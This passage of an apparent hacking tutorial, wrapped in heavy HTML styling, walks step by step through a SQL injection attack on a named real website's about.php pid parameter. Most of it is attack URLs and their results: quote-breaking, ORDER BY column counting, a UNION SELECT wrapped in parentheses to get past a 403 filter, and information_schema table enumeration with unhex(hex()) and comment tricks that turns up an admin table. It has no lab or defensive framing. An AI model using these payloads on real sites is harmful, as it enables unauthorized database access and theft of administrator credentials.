22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ##</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+1--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+1--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+10--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+10--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+20--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+20--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+30--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+30--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+40--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+40--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+50--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+50--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34+order+by+60--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34+order+by+60--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">WTF i'm drunk ....mmm not ... here the solution ..add ---> ' <---</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example: /about.php?pid=34'+order+by+1--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+1--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+1--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> </span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">start again</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+1--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+1--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+10--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+10--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+20--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+20--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+30--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+30--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+29--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+29--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+28--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+28--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+27--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+27--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+26--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+26--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### error ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+order+by+25--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+order+by+25--+-</a><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ### is ok ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">ok 25 Tables</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">now union+select</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2%E2%80%8B0,21,22,23,24,25--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+union+s...,24,25--+-</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">D: damn 403 f**k... i not want live in this world anymore...this website is secure D: ......</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">don't worry here the solution </span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">add ( and )</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example: /about.php?pid=34'+union+(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=34%27+union+%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%29--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=34'+union+(...24,25)--+-</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">done... now is ok again ..but not show the f**k column vulnerable...</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">only add ---> - <---</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example: /about.php?pid=-34'+union+(select+1,2,3,</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%E2%80%8B,25%29--+-" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...4,25)--+-</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">well now show columns 6 and 7</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">now</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">add: unhex(hex(table_name)) +from+information_schema/**/.tables+where+table_schema=database()+LIMIT+0,200--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28table_name%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+information_schema/**/.tables+where+table_schema=database()+limit+0,200)--+- ### ( show "Admin" ) ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">done luck today in the first table ---admin is Admin Meh ok next</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">change the 0 by LIMIT to 1</span><br 